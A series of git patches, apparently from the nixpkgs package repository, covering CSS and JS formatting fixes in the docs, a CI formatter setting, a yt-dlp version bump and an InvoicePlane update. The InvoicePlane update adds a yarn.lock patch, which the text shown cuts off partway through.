 div.appendix .tip {
-    color: var(--note-text-color);
-    background: var(--note-background);
+  color: var(--note-text-color);
+  background: var(--note-background);
 }
 
 div.book .warning,
 div.book .caution,
 div.appendix .warning,
 div.appendix .caution {
-    color: var(--warning-text-color);
-    background-color: var(--warning-background);
+  color: var(--warning-text-color);
+  background-color: var(--warning-background);
 }
 
 div.book .section,
 div.appendix .section {
-    margin-top: 2em;
+  margin-top: 2em;
 }
 
 div.book div.example,
 div.appendix div.example {
-    margin-top: 1.5em;
+  margin-top: 1.5em;
 }
 
 div.book div.example details,
 div.appendix div.example details {
-    padding: 5px;
+  padding: 5px;
 }
 
 div.book div.example details[open],
 div.appendix div.example details[open] {
-    border: 1px solid #aaa;
-    border-radius: 4px;
+  border: 1px solid #aaa;
+  border-radius: 4px;
 }
 
 div.book div.example details > summary,
 div.appendix div.example details > summary {
-    cursor: pointer;
+  cursor: pointer;
 }
 
 div.book br.example-break,
 div.appendix br.example-break {
-    display: none;
+  display: none;
 }
 
 div.book div.footnotes > hr,
 div.appendix div.footnotes > hr {
-    border-color: #d8d8d8;
+  border-color: #d8d8d8;
 }
 
 div.book div.footnotes > br,
 div.appendix div.footnotes > br {
-    display: none;
+  display: none;
 }
 
 div.book dt,
 div.appendix dt {
-    margin-top: 1em;
+  margin-top: 1em;
 }
 
 div.book .toc dt,
 div.appendix .toc dt {
-    margin-top: 0;
+  margin-top: 0;
 }
 
 div.book .list-of-examples dt,
 div.appendix .list-of-examples dt {
-    margin-top: 0;
+  margin-top: 0;
 }
 
 div.book code,
 div.appendix code {
-    padding: 0;
-    border: 0;
-    background-color: inherit;
-    color: inherit;
-    font-size: 100%;
-    -webkit-hyphens: none;
-    -moz-hyphens: none;
-    hyphens: none;
+  padding: 0;
+  border: 0;
+  background-color: inherit;
+  color: inherit;
+  font-size: 100%;
+  -webkit-hyphens: none;
+  -moz-hyphens: none;
+  hyphens: none;
 }
 
 div.book div.toc,
 div.appendix div.toc {
-    margin-bottom: 3em;
-    border-bottom: 0.0625rem solid #d8d8d8;
+  margin-bottom: 3em;
+  border-bottom: 0.0625rem solid #d8d8d8;
 }
 
 div.book div.toc dd,
 div.appendix div.toc dd {
-    margin-left: 2em;
+  margin-left: 2em;
 }
 
 div.book span.command,
 div.appendix span.command {
-    font-family: monospace;
-    -webkit-hyphens: none;
-    -moz-hyphens: none;
-    hyphens: none;
+  font-family: monospace;
+  -webkit-hyphens: none;
+  -moz-hyphens: none;
+  hyphens: none;
 }
 
 div.book .informaltable th,
 div.book .informaltable td,
 div.appendix .informaltable th,
 div.appendix .informaltable td {
-    padding: 0.5rem;
+  padding: 0.5rem;
 }
 
 div.book .variablelist .term,
 div.appendix .variablelist .term {
-    font-weight: 500;
+  font-weight: 500;
 }
 
 /*
@@ -444,50 +444,50 @@ div.appendix .variablelist .term {
   For more details, see https://highlightjs.readthedocs.io/en/latest/css-classes-reference.html#stylable-scopes
 */
 .hljs-meta.prompt_ {
-    user-select: none;
-    -webkit-user-select: none;
+  user-select: none;
+  -webkit-user-select: none;
 }
 
 :root {
-    --background: #fff;
-    --main-text-color: #000;
-    --link-color: #405d99;
-    --heading-color: #6586c8;
-    --small-heading-color: #6a6a6a;
-    --note-text-color: #5277c3;
-    --note-background: #f2f8fd;
-    --warning-text-color: #cc3900;
-    --warning-background: #fff5e1;
-    --codeblock-background: #f2f8fd;
-    --codeblock-text-color: #000;
+  --background: #fff;
+  --main-text-color: #000;
+  --link-color: #405d99;
+  --heading-color: #6586c8;
+  --small-heading-color: #6a6a6a;
+  --note-text-color: #5277c3;
+  --note-background: #f2f8fd;
+  --warning-text-color: #cc3900;
+  --warning-background: #fff5e1;
+  --codeblock-background: #f2f8fd;
+  --codeblock-text-color: #000;
 }
 
 @media (prefers-color-scheme: dark) {
-    :root {
-        --background: #242424;
-        --main-text-color: #fff;
-        --link-color: #6586c8;
-        --small-heading-color: #fff;
-        --note-background: none;
-        --warning-background: none;
-        --codeblock-background: #393939;
-        --codeblock-text-color: #fff;
-    }
+  :root {
+    --background: #242424;
+    --main-text-color: #fff;
+    --link-color: #6586c8;
+    --small-heading-color: #fff;
+    --note-background: none;
+    --warning-background: none;
+    --codeblock-background: #393939;
+    --codeblock-text-color: #fff;
+  }
 
-    div.book .note,
-    div.book .tip,
-    div.appendix .note,
-    div.appendix .tip,
-    div.book .warning,
-    div.book .caution,
-    div.appendix .warning,
-    div.appendix .caution {
-        border: 2px solid;
-        font-weight: 400;
-    }
+  div.book .note,
+  div.book .tip,
+  div.appendix .note,
+  div.appendix .tip,
+  div.book .warning,
+  div.book .caution,
+  div.appendix .warning,
+  div.appendix .caution {
+    border: 2px solid;
+    font-weight: 400;
+  }
 }
 
 @font-face {
-    font-family: Roboto;
-    src: url(Roboto.ttf);
+  font-family: Roboto;
+  src: url(Roboto.ttf);
 }

From a6e40e9c907885644f5c0de49056eee90f3b6780 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 15:04:58 +0200
Subject: [PATCH 3676/4511] doc: fix biome linting errors

(cherry picked from commit 3c0eec623643bc543197a3a6997c096aaebfc396)
---
 doc/anchor-use.js | 2 +-
 doc/style.css     | 5 ++---
 2 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/doc/anchor-use.js b/doc/anchor-use.js
index 76177ee773cf..20693ba01c8a 100644
--- a/doc/anchor-use.js
+++ b/doc/anchor-use.js
@@ -1,4 +1,4 @@
-document.addEventListener('DOMContentLoaded', (event) => {
+document.addEventListener('DOMContentLoaded', () => {
   anchors.add(
     'h1[id]:not(div.note h1, div.warning h1, div.tip h1, div.caution h1, div.important h1), h2[id]:not(div.note h2, div.warning h2, div.tip h2, div.caution h2, div.important h2), h3[id]:not(div.note h3, div.warning h3, div.tip h3, div.caution h3, div.important h3), h4[id]:not(div.note h4, div.warning h4, div.tip h4, div.caution h4, div.important h4), h5[id]:not(div.note h5, div.warning h5, div.tip h5, div.caution h5, div.important h5), h6[id]:not(div.note h6, div.warning h6, div.tip h6, div.caution h6, div.important h6)',
   )
diff --git a/doc/style.css b/doc/style.css
index d2b31e84b66f..a4bb35d923b4 100644
--- a/doc/style.css
+++ b/doc/style.css
@@ -50,7 +50,7 @@ hr {
 }
 
 pre {
-  font-family: monospace, monospace;
+  font-family: monospace;
   font-size: 1em;
 }
 
@@ -63,7 +63,7 @@ strong {
 }
 
 code {
-  font-family: monospace, monospace;
+  font-family: monospace;
   font-size: 1em;
 }
 
@@ -293,7 +293,6 @@ div.appendix .caution > .title,
 div.appendix .important > .title {
   font-weight: 800;
   line-height: 110%;
-  margin-bottom: 1rem;
   color: inherit;
   margin-bottom: 0;
 }

From 1304c547d8365d89757fbd7e1ead5993e3bc2366 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 15:05:23 +0200
Subject: [PATCH 3677/4511] ci/treefmt: enable biome for doc/

(cherry picked from commit f668934bfdfa2a8069c7dc250c7d00daff44eef1)
---
 ci/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/ci/default.nix b/ci/default.nix
index 0b24da8f170c..0aeb2356e9ae 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -54,7 +54,7 @@ let
           settings.json.formatter.enabled = false;
         };
         settings.formatter.biome.excludes = [
-          "doc/*"
+          "*.min.js"
           "pkgs/*"
         ];
 

From f51b31241fc522b28f3a2606721795387a4a6f63 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 20 Aug 2025 03:43:57 +0000
Subject: [PATCH 3678/4511] yt-dlp: 2025.08.11 -> 2025.08.20

(cherry picked from commit b9f347a76499ba544484e0fb6ec425fa0de42816)
---
 pkgs/by-name/yt/yt-dlp/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/yt/yt-dlp/package.nix b/pkgs/by-name/yt/yt-dlp/package.nix
index 41b44b21706c..6b0bccef28c5 100644
--- a/pkgs/by-name/yt/yt-dlp/package.nix
+++ b/pkgs/by-name/yt/yt-dlp/package.nix
@@ -19,14 +19,14 @@ python3Packages.buildPythonApplication rec {
   # The websites yt-dlp deals with are a very moving target. That means that
   # downloads break constantly. Because of that, updates should always be backported
   # to the latest stable release.
-  version = "2025.08.11";
+  version = "2025.08.20";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "yt-dlp";
     repo = "yt-dlp";
     tag = version;
-    hash = "sha256-j7x844MPPFdXYTJiiMnru3CE79A/6JdfJDdh8it9KsU=";
+    hash = "sha256-FeIoV7Ya+tGCMvUUXmPrs4MN52zwqrcpzJ6Arh4V450=";
   };
 
   postPatch = ''

From 7f6e2a1c01672c917fa5186877eaaa07771bd0a3 Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Thu, 7 Aug 2025 12:43:12 +0200
Subject: [PATCH 3679/4511] invoiceplane: 1.6.2 -> 1.6.3

(cherry picked from commit a55403d20fbf82a4887063e5f58b5533c9f2e331)
---
 .../in/invoiceplane/fix-yarn-lock.patch       |  651 ++++
 .../fix_composer_validation.patch             |   34 +
 .../in/invoiceplane/node_switch_to_sass.patch | 3022 -----------------
 pkgs/by-name/in/invoiceplane/package.nix      |   22 +-
 4 files changed, 696 insertions(+), 3033 deletions(-)
 create mode 100644 pkgs/by-name/in/invoiceplane/fix-yarn-lock.patch
 create mode 100644 pkgs/by-name/in/invoiceplane/fix_composer_validation.patch
 delete mode 100644 pkgs/by-name/in/invoiceplane/node_switch_to_sass.patch

diff --git a/pkgs/by-name/in/invoiceplane/fix-yarn-lock.patch b/pkgs/by-name/in/invoiceplane/fix-yarn-lock.patch
new file mode 100644
index 000000000000..8398ad956450
--- /dev/null
+++ b/pkgs/by-name/in/invoiceplane/fix-yarn-lock.patch
@@ -0,0 +1,651 @@
+diff --git a/yarn.lock b/yarn.lock
+index 691942c1..6d3bd8ce 100644
+--- a/yarn.lock
++++ b/yarn.lock
+@@ -2,11 +2,71 @@
+ # yarn lockfile v1
+ 
+ 
++"@parcel/watcher-android-arm64@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-android-arm64/-/watcher-android-arm64-2.5.1.tgz#507f836d7e2042f798c7d07ad19c3546f9848ac1"
++  integrity sha512-KF8+j9nNbUN8vzOFDpRMsaKBHZ/mcjEjMToVMJOhTozkDonQFFrRcfdLWn6yWKCmJKmdVxSgHiYvTCef4/qcBA==
++
++"@parcel/watcher-darwin-arm64@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-darwin-arm64/-/watcher-darwin-arm64-2.5.1.tgz#3d26dce38de6590ef79c47ec2c55793c06ad4f67"
++  integrity sha512-eAzPv5osDmZyBhou8PoF4i6RQXAfeKL9tjb3QzYuccXFMQU0ruIc/POh30ePnaOyD1UXdlKguHBmsTs53tVoPw==
++
++"@parcel/watcher-darwin-x64@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-darwin-x64/-/watcher-darwin-x64-2.5.1.tgz#99f3af3869069ccf774e4ddfccf7e64fd2311ef8"
++  integrity sha512-1ZXDthrnNmwv10A0/3AJNZ9JGlzrF82i3gNQcWOzd7nJ8aj+ILyW1MTxVk35Db0u91oD5Nlk9MBiujMlwmeXZg==
++
++"@parcel/watcher-freebsd-x64@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-freebsd-x64/-/watcher-freebsd-x64-2.5.1.tgz#14d6857741a9f51dfe51d5b08b7c8afdbc73ad9b"
++  integrity sha512-SI4eljM7Flp9yPuKi8W0ird8TI/JK6CSxju3NojVI6BjHsTyK7zxA9urjVjEKJ5MBYC+bLmMcbAWlZ+rFkLpJQ==
++
++"@parcel/watcher-linux-arm-glibc@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm-glibc/-/watcher-linux-arm-glibc-2.5.1.tgz#43c3246d6892381db473bb4f663229ad20b609a1"
++  integrity sha512-RCdZlEyTs8geyBkkcnPWvtXLY44BCeZKmGYRtSgtwwnHR4dxfHRG3gR99XdMEdQ7KeiDdasJwwvNSF5jKtDwdA==
++
++"@parcel/watcher-linux-arm-musl@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm-musl/-/watcher-linux-arm-musl-2.5.1.tgz#663750f7090bb6278d2210de643eb8a3f780d08e"
++  integrity sha512-6E+m/Mm1t1yhB8X412stiKFG3XykmgdIOqhjWj+VL8oHkKABfu/gjFj8DvLrYVHSBNC+/u5PeNrujiSQ1zwd1Q==
++
++"@parcel/watcher-linux-arm64-glibc@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm64-glibc/-/watcher-linux-arm64-glibc-2.5.1.tgz#ba60e1f56977f7e47cd7e31ad65d15fdcbd07e30"
++  integrity sha512-LrGp+f02yU3BN9A+DGuY3v3bmnFUggAITBGriZHUREfNEzZh/GO06FF5u2kx8x+GBEUYfyTGamol4j3m9ANe8w==
++
++"@parcel/watcher-linux-arm64-musl@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm64-musl/-/watcher-linux-arm64-musl-2.5.1.tgz#f7fbcdff2f04c526f96eac01f97419a6a99855d2"
++  integrity sha512-cFOjABi92pMYRXS7AcQv9/M1YuKRw8SZniCDw0ssQb/noPkRzA+HBDkwmyOJYp5wXcsTrhxO0zq1U11cK9jsFg==
++
+ "@parcel/watcher-linux-x64-glibc@2.5.1":
+   version "2.5.1"
+   resolved "https://registry.npmjs.org/@parcel/watcher-linux-x64-glibc/-/watcher-linux-x64-glibc-2.5.1.tgz"
+   integrity sha512-GcESn8NZySmfwlTsIur+49yDqSny2IhPeZfXunQi48DMugKeZ7uy1FX83pO0X22sHntJ4Ub+9k34XQCX+oHt2A==
+ 
++"@parcel/watcher-linux-x64-musl@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-x64-musl/-/watcher-linux-x64-musl-2.5.1.tgz#277b346b05db54f55657301dd77bdf99d63606ee"
++  integrity sha512-n0E2EQbatQ3bXhcH2D1XIAANAcTZkQICBPVaxMeaCVBtOpBZpWJuf7LwyWPSBDITb7In8mqQgJ7gH8CILCURXg==
++
++"@parcel/watcher-win32-arm64@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-arm64/-/watcher-win32-arm64-2.5.1.tgz#7e9e02a26784d47503de1d10e8eab6cceb524243"
++  integrity sha512-RFzklRvmc3PkjKjry3hLF9wD7ppR4AKcWNzH7kXR7GUe0Igb3Nz8fyPwtZCSquGrhU5HhUNDr/mKBqj7tqA2Vw==
++
++"@parcel/watcher-win32-ia32@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-ia32/-/watcher-win32-ia32-2.5.1.tgz#2d0f94fa59a873cdc584bf7f6b1dc628ddf976e6"
++  integrity sha512-c2KkcVN+NJmuA7CGlaGD1qJh1cLfDnQsHjE89E60vUEMlqduHGCdCLJCID5geFVM0dOtA3ZiIO8BoEQmzQVfpQ==
++
++"@parcel/watcher-win32-x64@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-x64/-/watcher-win32-x64-2.5.1.tgz#ae52693259664ba6f2228fa61d7ee44b64ea0947"
++  integrity sha512-9lHBdJITeNR++EvSQVUcaZoWupyHfXe1jZvGZ06O/5MflPcuPLtEphScIBL+AiCWBO46tDSHzWyD0uDmmZqsgA==
++
+ "@parcel/watcher@^2.4.1":
+   version "2.5.1"
+   resolved "https://registry.npmjs.org/@parcel/watcher/-/watcher-2.5.1.tgz"
+@@ -105,7 +165,9 @@ async@^2.6.0:
+     lodash "^4.17.14"
+ 
+ async@^3.2.3, async@~3.2.0:
+-  version "3.2.5"
++  version "3.2.6"
++  resolved "https://registry.yarnpkg.com/async/-/async-3.2.6.tgz#1b0728e14929d51b85b449b7f06e27c1145e38ce"
++  integrity sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==
+ 
+ autoprefixer@9.8:
+   version "9.8.8"
+@@ -155,33 +217,48 @@ brace-expansion@^1.1.7:
+     balanced-match "^1.0.0"
+     concat-map "0.0.1"
+ 
+-braces@^3.0.2:
+-  version "3.0.2"
++braces@^3.0.3:
++  version "3.0.3"
++  resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.3.tgz#490332f40919452272d55a8480adc0c441358789"
++  integrity sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==
+   dependencies:
+-    fill-range "^7.0.1"
++    fill-range "^7.1.1"
+ 
+-browserslist@^4.12.0, "browserslist@>= 4.21.0":
+-  version "4.22.1"
++browserslist@^4.12.0:
++  version "4.25.1"
++  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.25.1.tgz#ba9e8e6f298a1d86f829c9b975e07948967bb111"
++  integrity sha512-KGj0KoOMXLpSNkkEI6Z6mShmQy0bc1I+T7K9N81k4WWMrfz+6fQ6es80B/YLAeRoKvjYE1YSHHOW1qe9xIVzHw==
+   dependencies:
+-    caniuse-lite "^1.0.30001541"
+-    electron-to-chromium "^1.4.535"
+-    node-releases "^2.0.13"
+-    update-browserslist-db "^1.0.13"
++    caniuse-lite "^1.0.30001726"
++    electron-to-chromium "^1.5.173"
++    node-releases "^2.0.19"
++    update-browserslist-db "^1.1.3"
+ 
+ bytes@1:
+   version "1.0.0"
+   resolved "https://registry.npmjs.org/bytes/-/bytes-1.0.0.tgz"
+   integrity sha512-/x68VkHLeTl3/Ll8IvxdwzhrT+IyKc52e/oyHhA2RwqPqswSnjVbSddfPRwAsJtbilMAPSRWwAlpxdYsSWOTKQ==
+ 
+-call-bind@^1.0.0:
+-  version "1.0.5"
++call-bind-apply-helpers@^1.0.1, call-bind-apply-helpers@^1.0.2:
++  version "1.0.2"
++  resolved "https://registry.yarnpkg.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz#4b5428c222be985d79c3d82657479dbe0b59b2d6"
++  integrity sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==
+   dependencies:
++    es-errors "^1.3.0"
+     function-bind "^1.1.2"
+-    get-intrinsic "^1.2.1"
+-    set-function-length "^1.1.1"
+ 
+-caniuse-lite@^1.0.30001109, caniuse-lite@^1.0.30001541:
+-  version "1.0.30001561"
++call-bound@^1.0.2:
++  version "1.0.4"
++  resolved "https://registry.yarnpkg.com/call-bound/-/call-bound-1.0.4.tgz#238de935d2a2a692928c538c7ccfa91067fd062a"
++  integrity sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==
++  dependencies:
++    call-bind-apply-helpers "^1.0.2"
++    get-intrinsic "^1.3.0"
++
++caniuse-lite@^1.0.30001109, caniuse-lite@^1.0.30001726:
++  version "1.0.30001731"
++  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001731.tgz#277c07416ea4613ec564e5b0ffb47e7b60f32e2f"
++  integrity sha512-lDdp2/wrOmTRWuoB5DpfNkC0rJDU8DqRa6nYL6HK6sytw70QMopt/NIc/9SM7ylItlBWfACXk0tEn37UWM/+mg==
+ 
+ chalk@^1.1.1:
+   version "1.1.3"
+@@ -241,16 +318,16 @@ color-convert@^2.0.1:
+   dependencies:
+     color-name "~1.1.4"
+ 
+-color-name@~1.1.4:
+-  version "1.1.4"
+-  resolved "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz"
+-  integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
+-
+ color-name@1.1.3:
+   version "1.1.3"
+   resolved "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz"
+   integrity sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==
+ 
++color-name@~1.1.4:
++  version "1.1.4"
++  resolved "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz"
++  integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
++
+ colors@~1.1.2:
+   version "1.1.2"
+   resolved "https://registry.npmjs.org/colors/-/colors-1.1.2.tgz"
+@@ -278,13 +355,6 @@ debug@^3.1.0:
+   dependencies:
+     ms "^2.1.1"
+ 
+-define-data-property@^1.1.1:
+-  version "1.1.1"
+-  dependencies:
+-    get-intrinsic "^1.2.1"
+-    gopd "^1.0.1"
+-    has-property-descriptors "^1.0.0"
+-
+ delegate@^3.1.2:
+   version "3.2.0"
+   resolved "https://registry.npmjs.org/delegate/-/delegate-3.2.0.tgz"
+@@ -310,13 +380,24 @@ dropzone@5.9:
+   resolved "https://registry.npmjs.org/dropzone/-/dropzone-5.9.3.tgz"
+   integrity sha512-Azk8kD/2/nJIuVPK+zQ9sjKMRIpRvNyqn9XwbBHNq+iNuSccbJS6hwm1Woy0pMST0erSo0u4j+KJaodndDk4vA==
+ 
++dunder-proto@^1.0.1:
++  version "1.0.1"
++  resolved "https://registry.yarnpkg.com/dunder-proto/-/dunder-proto-1.0.1.tgz#d7ae667e1dc83482f8b70fd0f6eefc50da30f58a"
++  integrity sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==
++  dependencies:
++    call-bind-apply-helpers "^1.0.1"
++    es-errors "^1.3.0"
++    gopd "^1.2.0"
++
+ duplexer@^0.1.1:
+   version "0.1.2"
+   resolved "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz"
+   integrity sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==
+ 
+-electron-to-chromium@^1.4.535:
+-  version "1.4.576"
++electron-to-chromium@^1.5.173:
++  version "1.5.198"
++  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.198.tgz#ac12b539ac1bb3dece1a4cd2d8882d0349c71c55"
++  integrity sha512-G5COfnp3w+ydVu80yprgWSfmfQaYRh9DOxfhAxstLyetKaLyl55QrNjx8C38Pc/C+RaDmb1M0Lk8wPEMQ+bGgQ==
+ 
+ error@^7.0.0:
+   version "7.2.1"
+@@ -325,8 +406,27 @@ error@^7.0.0:
+   dependencies:
+     string-template "~0.2.1"
+ 
+-escalade@^3.1.1:
+-  version "3.1.1"
++es-define-property@^1.0.1:
++  version "1.0.1"
++  resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.1.tgz#983eb2f9a6724e9303f61addf011c72e09e0b0fa"
++  integrity sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==
++
++es-errors@^1.3.0:
++  version "1.3.0"
++  resolved "https://registry.yarnpkg.com/es-errors/-/es-errors-1.3.0.tgz#05f75a25dab98e4fb1dcd5e1472c0546d5057c8f"
++  integrity sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==
++
++es-object-atoms@^1.0.0, es-object-atoms@^1.1.1:
++  version "1.1.1"
++  resolved "https://registry.yarnpkg.com/es-object-atoms/-/es-object-atoms-1.1.1.tgz#1c4f2c4837327597ce69d2ca190a7fdd172338c1"
++  integrity sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==
++  dependencies:
++    es-errors "^1.3.0"
++
++escalade@^3.2.0:
++  version "3.2.0"
++  resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.2.0.tgz#011a3f69856ba189dffa7dc8fcce99d2a87903e5"
++  integrity sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==
+ 
+ escape-string-regexp@^1.0.2, escape-string-regexp@^1.0.5:
+   version "1.0.5"
+@@ -379,8 +479,10 @@ file-sync-cmp@^0.1.0:
+   resolved "https://registry.npmjs.org/file-sync-cmp/-/file-sync-cmp-0.1.1.tgz"
+   integrity sha512-0k45oWBokCqh2MOexeYKpyqmGKG+8mQ2Wd8iawx+uWd/weWJQAZ6SoPybagdCI4xFisag8iAR77WPm4h3pTfxA==
+ 
+-fill-range@^7.0.1:
+-  version "7.0.1"
++fill-range@^7.1.1:
++  version "7.1.1"
++  resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-7.1.1.tgz#44265d3cac07e3ea7dc247516380643754a05292"
++  integrity sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==
+   dependencies:
+     to-regex-range "^5.0.1"
+ 
+@@ -461,13 +563,29 @@ gaze@^1.1.0:
+   dependencies:
+     globule "^1.0.0"
+ 
+-get-intrinsic@^1.0.2, get-intrinsic@^1.1.3, get-intrinsic@^1.2.1, get-intrinsic@^1.2.2:
+-  version "1.2.2"
++get-intrinsic@^1.2.5, get-intrinsic@^1.3.0:
++  version "1.3.0"
++  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.3.0.tgz#743f0e3b6964a93a5491ed1bffaae054d7f98d01"
++  integrity sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==
+   dependencies:
++    call-bind-apply-helpers "^1.0.2"
++    es-define-property "^1.0.1"
++    es-errors "^1.3.0"
++    es-object-atoms "^1.1.1"
+     function-bind "^1.1.2"
+-    has-proto "^1.0.1"
+-    has-symbols "^1.0.3"
+-    hasown "^2.0.0"
++    get-proto "^1.0.1"
++    gopd "^1.2.0"
++    has-symbols "^1.1.0"
++    hasown "^2.0.2"
++    math-intrinsics "^1.1.0"
++
++get-proto@^1.0.1:
++  version "1.0.1"
++  resolved "https://registry.yarnpkg.com/get-proto/-/get-proto-1.0.1.tgz#150b3f2743869ef3e851ec0c49d15b1d14d00ee1"
++  integrity sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==
++  dependencies:
++    dunder-proto "^1.0.1"
++    es-object-atoms "^1.0.0"
+ 
+ getobject@~1.0.0:
+   version "1.0.2"
+@@ -486,19 +604,7 @@ glob@^7.1.3:
+     once "^1.3.0"
+     path-is-absolute "^1.0.0"
+ 
+-glob@~7.1.1:
+-  version "7.1.7"
+-  resolved "https://registry.npmjs.org/glob/-/glob-7.1.7.tgz"
+-  integrity sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==
+-  dependencies:
+-    fs.realpath "^1.0.0"
+-    inflight "^1.0.4"
+-    inherits "2"
+-    minimatch "^3.0.4"
+-    once "^1.3.0"
+-    path-is-absolute "^1.0.0"
+-
+-glob@~7.1.6:
++glob@~7.1.1, glob@~7.1.6:
+   version "7.1.7"
+   resolved "https://registry.npmjs.org/glob/-/glob-7.1.7.tgz"
+   integrity sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==
+@@ -546,10 +652,10 @@ good-listener@^1.2.2:
+   dependencies:
+     delegate "^3.1.2"
+ 
+-gopd@^1.0.1:
+-  version "1.0.1"
+-  dependencies:
+-    get-intrinsic "^1.1.3"
++gopd@^1.2.0:
++  version "1.2.0"
++  resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.2.0.tgz#89f56b8217bdbc8802bd299df6d7f1081d7e51a1"
++  integrity sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==
+ 
+ grunt-cli@~1.4.3:
+   version "1.4.3"
+@@ -656,7 +762,7 @@ grunt-sass@3.1:
+   resolved "https://registry.npmjs.org/grunt-sass/-/grunt-sass-3.1.0.tgz"
+   integrity sha512-90s27H7FoCDcA8C8+R0GwC+ntYD3lG6S/jqcavWm3bn9RiJTmSfOvfbFa1PXx4NbBWuiGQMLfQTj/JvvqT5w6A==
+ 
+-grunt@>=0.4.5, grunt@>=1, grunt@>=1.4.1, grunt@1.6:
++grunt@1.6:
+   version "1.6.1"
